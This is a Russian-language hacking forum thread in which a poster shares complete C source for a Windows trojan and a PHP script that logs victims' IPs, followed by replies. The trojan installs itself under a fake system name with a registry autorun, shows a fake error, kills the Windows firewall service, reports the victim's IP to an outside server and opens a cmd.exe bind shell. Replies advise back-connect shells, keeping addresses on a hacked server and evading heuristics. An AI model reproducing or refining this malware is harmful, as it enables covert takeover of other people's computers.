PDA

Просмотр полной версии : Shell backdoor


los8005
24.11.2009, 17:46
Вообщем прошу не пинать за криволапый код и т.д. и т.п.

Материалы и компоненты:

1)IDE Code::Block + MinGW
2)ДЕНВЕР
3)Подключить либы libws2_32.a, libwininet.a

Описание:
Троянец открывает узел, тем самым записывая IP в снифер, а затем биндиться. Куда и как - можно посмотреть в коде.

Код шелл-бека:


#include <windows.h>
#include <winsock.h>
#include <wininet.h>
#include <io.h>

#define addresstoip "http://www.get.ru/add.php"//Адрес снифа
#define port 34


bool FileExists(const char *fname){
return access(fname,0) != -1;
}

void KillMayer(void){//Функция для защиты шелла и убийства гребанного мауера
SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (hSCM != NULL)
{
SC_HANDLE hService = OpenService(hSCM, "SharedAccess", SERVICE_STOP|DELETE);
if (hService != NULL)
{
SERVICE_STATUS Status;
ControlService(hService, SERVICE_CONTROL_STOP, &Status);
Sleep(500);
BOOL bOk = DeleteService(hService);
}
CloseServiceHandle(hService);
}
CloseServiceHandle(hSCM);
}

void Setup(void){//Функция для установки в систему
char str[MAX_PATH],sysbuf[MAX_PATH];//Переменные

GetModuleFileName(GetModuleHandle(NULL),str,MAX_PA TH);
GetSystemDirectory(sysbuf,MAX_PATH);

strcat(sysbuf,"\\znoskernloadnoremove.exe");//Имя троянца

if(!FileExists(sysbuf)){
CopyFile(str,sysbuf,true);

HKEY hk;
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk);
RegSetValueEx(hk,"Kernel OS Loader",0,REG_SZ,(LPBYTE)sysbuf, strlen(sysbuf) + 1);
RegCloseKey(hk);

MessageBoxA(0,"Системная ошибка по адресу 0x001200. Повторная установка приложения может помочь","Windows",MB_ICONERROR);
}
}

void InfectSystem(void){//Функция для создания шелла на 34 порту
WSADATA wsd;
int fd,newfd;
struct sockaddr_in sin;
char *cmd = "cmd";
STARTUPINFO si;
PROCESS_INFORMATION pi;

memset(&si,0,sizeof(si));
memset(&pi,0,sizeof(pi));

WSAStartup(0x101,&wsd);
fd=WSASocketA(2,1,0,0,0,0);

sin.sin_family=2;
sin.sin_addr.s_addr=0;
sin.sin_port=htons(port);

bind(fd,(struct sockaddr *)&sin, 0x10);
listen(fd,0);

newfd=accept(fd,(struct sockaddr *)&sin,0);
si.cb=sizeof(si);
si.dwFlags=0x0101;
si.hStdInput=(char*)newfd;
si.hStdOutput=(char*)newfd;
si.hStdError=(char*)newfd;

CreateProcessA(0,cmd,0,0,1,0,0,0,&si,&pi);

WaitForSingleObject(pi.hProcess, INFINITE);
ExitThread(0);
}

bool GetStatusConnect(void){//Получение статуса подключения к интернету
typedef BOOL (WINAPI* INETCHECKPROC) (LPDWORD lpdwFlags, DWORD dwReserved);
// возвращает 1, если комп подключен к интеренту, в противном случае - 0
bool bRetVal;
HINSTANCE hLib = NULL;
INETCHECKPROC pfnInternetGetConnectedState;
// грузим (в смысле загружаем) библиотеку wininet.dll
hLib = LoadLibrary("wininet.dll");
if (!hLib) // если не получилось загрузить библиотеку, то
return 0; // возвращаем 0
// получаем адрес функции InternetGetConnectedState
pfnInternetGetConnectedState = (INETCHECKPROC)GetProcAddress(hLib, "InternetGetConnectedState");
// Если не удалось получить адрес функции
if(!pfnInternetGetConnectedState)
return false; // возвращаем 0
DWORD lpdwFlags;
// проверяем соединение
bRetVal = pfnInternetGetConnectedState(&lpdwFlags, 0) != 0;
FreeLibrary(hLib); // выгружаем библиотеку
return bRetVal; // возвращаем статус подключения
}

void SendMyIP(void){//Функция отправки IP
const char *accept = "Accept: */*";
HINTERNET session = InternetOpen("Our Agent",INTERNET_OPEN_TYPE_PROXY,NULL,"", 0);
HINTERNET url = InternetOpenUrl(session,addresstoip,0,0,0,0);
HINTERNET hRequest = HttpOpenRequest(url,"GET","",NULL,NULL,&accept,0,1);
HttpSendRequestA(hRequest,NULL,NULL,NULL,NULL);
}

int WINAPI WinMain(HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nCmdShow){
//Устанавливаемся
Setup();
//Удаляем гребаный мауер
KillMayer();
//Ждем, пока комп будет подключен к нету
bool con = GetStatusConnect();
while(!con){//ne podklychen
con = GetStatusConnect();
Sleep(1500);
}
//Когда цикл будет верен посылаем IP и работаем
SendMyIP();//Отправляем и...
InfectSystem();//...работаем!
return 0;//Все, из маин прог моно выходить. Все заметано
}



Такс.... Код бэкшелла готов. Теперь с кодом PHP снифа. Поффторюсь за криволапый код и использование a вместо w не пинать. Все таки месяцев 5 назад писал...



<?php
function GetIP() {
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return $ip;
} // GetIP

$FILE_SCHABLONE = fopen('ip.html','r');
$MAIN;

while($buf = fread($FILE_SCHABLONE,10)){
$MAIN=$MAIN.$buf;
}

fclose($FILE_SCHABLONE);

$IP=GetIP();
$MAIN = $MAIN.$IP." ,current time: ".date("H:i, <b>d-m-Y</b>")."<br>";

$FILE_SCHABLONE_WRITE = fopen('ip.html','w');
fwrite($FILE_SCHABLONE_WRITE,$MAIN);
fclose($FILE_SCHABLONE_WRITE);

?>



Не забудьте создать еще файл ip.html . Ну все вроде. Есть маленькая просьба: взамен дать исходник или хотяб совет на то как написать что нибудь типа Lamers Death.

Nightmarе
24.11.2009, 18:07
Не хотелось бы пиннать, хотелось бы подсказать, что сейчас уже не советское время, и у 80% юзверей стоит NAT (потры открыть не получится), не делайте ставку на внешние айпи, иначе попросту никого не протрояните.

mr.The
24.11.2009, 19:26
на 34 порту
советую юзать порты побольше. где-то от 1000+. такие могут быть заняты.. мало-ли чем.

//Получение статуса подключения к интернету
вот это круто. я то я с паузами и прочими извратами делал.

//Функция отправки IP
как-то функция неочень выглядит.. почему не сделал на обычных сокетах?

1)IDE Code::Block + MinGW
вот это тру, в жопу ВС.

не делайте ставку на внешние айпи, иначе попросту никого не протрояните.
я свой аналогичный бекдор на дедики заливаю. там nat'a или нет, или часто можно настроить порты.
а так, я уже пишу свой бекдор с бекконектом и свистелками, а там будет и статья. Следите за обновлениями в блоге (http://mrthe.name) .

кста, сколько весит EXE на выходе?

Ins3t
24.11.2009, 20:23
>вот это тру, в жопу ВС.
Аргументируй свое мнение =\

__mad
24.11.2009, 20:48
>вот это тру, в жопу ВС.
Аргументируй свое мнение =\


ЧЕ? Риальные пацаны не юзают закрытое ПО!

los8005
24.11.2009, 21:16
как-то функция неочень выглядит.. почему не сделал на обычных сокетах? Да, мне она самому не нравиться))) Гдет была функция на чистых сокетах. Так я её пасеял, а теперь скок не пытаюсь свои писать - не тот аипи шлет... Решил использовать ПХП + нет проблем с отправкой ип. ))) Не надо мучацца и думать о отправке по почте и т.д. А по остальному: ну я ж первый раз пишу))) С VCL перешел))) Ну и еще - не для вреда написано. Была задача компом своим же управлять(скрытно) - и для таких целей мне CMD достаточно... И еще есть желание принять участие в разработке Программы Удаленного Администрироввания... mr. The, может обьединимся...)))) Про размер: 8,5 kb

mr.The
24.11.2009, 21:43
Про размер: 8,5 kb
0о, это как ты его компилируешь? На отсутствие либ не ругается?

Решил использовать ПХП + нет проблем с отправкой ип.
нет, я тоже на гейт захожу, для чека ip)

И еще есть желание принять участие в разработке Программы Удаленного Администрироввания
дадада, тут вирусы запрещены, поэтому это всё для управления своим компом. а так - опенсорса полно)

mr. The, может обьединимся...)
да я тут про бекконнект(хотя, это скорее просто управление бекдором, без подключения конкретно к нему) допишу, а там посмотрим)

>вот это тру, в жопу ВС.
Аргументируй свое мнение =\
вс - тяжелая большая хрень, с кучей лишнего. да, я сейчас говорю о среде, а не о фичах вс-овского линковщика и компилятора.

Ins3t
24.11.2009, 22:39
ЧЕ? Риальные пацаны не юзают закрытое ПО!

Слушай ты, "Риальный пацан", сначала разберись со студией, а потом пизди в ее адрес. Это ИМХО самая лутшая среда разработки под винду, и не пиздите тут =\

вс - тяжелая большая хрень, с кучей лишнего. да, я сейчас говорю о среде, а не о фичах вс-овского линковщика и компилятора.

Тяжолая? Да, есть такое дело, но чтобы небыло "кучи хрени" можно использовать не навороченую ВС 2006.

los8005
24.11.2009, 22:54
0о, это как ты его компилируешь? На отсутствие либ не ругается?
Ну над уметь пользоваться опциями линкера... Полная оптимизация по размеру. А без либ - линкер бы выплюнул....)))) С наглой мордой. А по ВЦ - ребят, для мелких проектов в один/два исходника можно и батником+notepad++ обойтись)))) А вот если разбираться в куче кода да еще если эта куча ООП со всеми вытекающими, то конечно лучше клацкнуть по классу и сразу все увидеть)))) в разработке Программы Удаленного Администрироввания хех.... Ну а что же? Мне компом лично управлять надо... Если бы эт было направлено на протроянивание я бы еще обход эвристика сделал, методом прямого вызова функции. Библиотеку бы подгрузил и т.д. и т.п.
Да, вот функция получения ИП, нашел я счас:

#include <winsock2.h>
string GetLocalIP()
{
int i=0;
char Buffer[63];

WSADATA GInitData;
WSAStartup(MAKEWORD(2,2), &GInitData);

string result;
gethostname(Buffer,63);

hostent *phe=gethostbyname(Buffer);

if(phe==NULL)return "";
while((*phe).h_addr_list[i]!=NULL)
{
result=string(inet_ntoa((*(in_addr*)(*phe).h_addr_ list[i])));
i++;
}

WSACleanup();

return result;
}

Не забывать еще либу libws2_32.a , для VC юверей: libws2_32.lib или тип того, не помню))))

Nightmarе
25.11.2009, 00:20
los8005 в чём смысл твоей функции получения IP ?
Получает 127.0.0.1 если имелся ввиду локальный, то да, а если IP интернета?

_dex_
25.11.2009, 06:23
los8005 в чём смысл твоей функции получения IP ?
Получает 127.0.0.1 если имелся ввиду локальный, то да, а если IP интернета?

в таком случае лучше использовать бэкконнект!
Адреса серверов хранить на каком нить ломанном серваке, брать оттуда адрес, коннектиться, ну а дальше выполнять необходимые действия.

0о, это как ты его компилируешь? На отсутствие либ не ругается?

О_о.... задать опции линкера в студии, или батнике.

вс - тяжелая большая хрень, с кучей лишнего. да, я сейчас говорю о среде, а не о фичах вс-овского линковщика и компилятора.

с кучей лишнего? ну хз, как по мне так, то там наоборот многого не хватает, различные не удобства... а так студия очень даже клевая, особенно с плагинами по типу Visual Assist и прочими... хотя я привык работать в eclipse =/...
code::blocks - даже не пробывал... он мне не понравился =/

los8005
25.11.2009, 12:38
los8005 в чём смысл твоей функции получения IP ?
Получает 127.0.0.1 если имелся ввиду локальный, то да, а если IP интернета? На моей машине работает и получает сетевой. Хотя функция не моя. Я её переписал на Сяху ток. А Code::Block - на любителя. Мне превычней в ней. Синтаксис первоначально более приближен к тому, что я учил, а в вц свои дополнения и т.д. и т.п.

sn0w
25.11.2009, 19:32
тогда уж реверсшелл бы делал

mr.The
25.11.2009, 20:24
code::blocks - даже не пробывал... он мне не понравился =/
я никогда не пробовал конфеты, но они мне не понравились

На моей машине работает и получает сетевой
значит, ты не за натом.

Ну над уметь пользоваться опциями линкера... Полная оптимизация по размеру. А без либ - линкер бы выплюнул....)
я и так включил максимальную оптимизацию.. может я что-то пропустил, скинь параметры, с которыми ты делаешь линковку. а про либы - это я говорил о самом exe. я как-то тоже делал размер на выходе около 5 кб, но на выходе, ругалось, что не может найти dll. Писать определение места dll их их подгрузку мне было лень, мне 19.5 кб хватает.

Тяжолая? Да, есть такое дело, но чтобы небыло "кучи хрени" можно использовать не навороченую ВС 2006.
хм, спасибо, сейчас погуглю, а то я вроде 2007 тестил.. мне тут надо для кпк софт писать, а больше негде толком.

Ну а что же? Мне компом лично управлять надо...
я уже писал, есть несколько опенсорсных проэктов, погугли.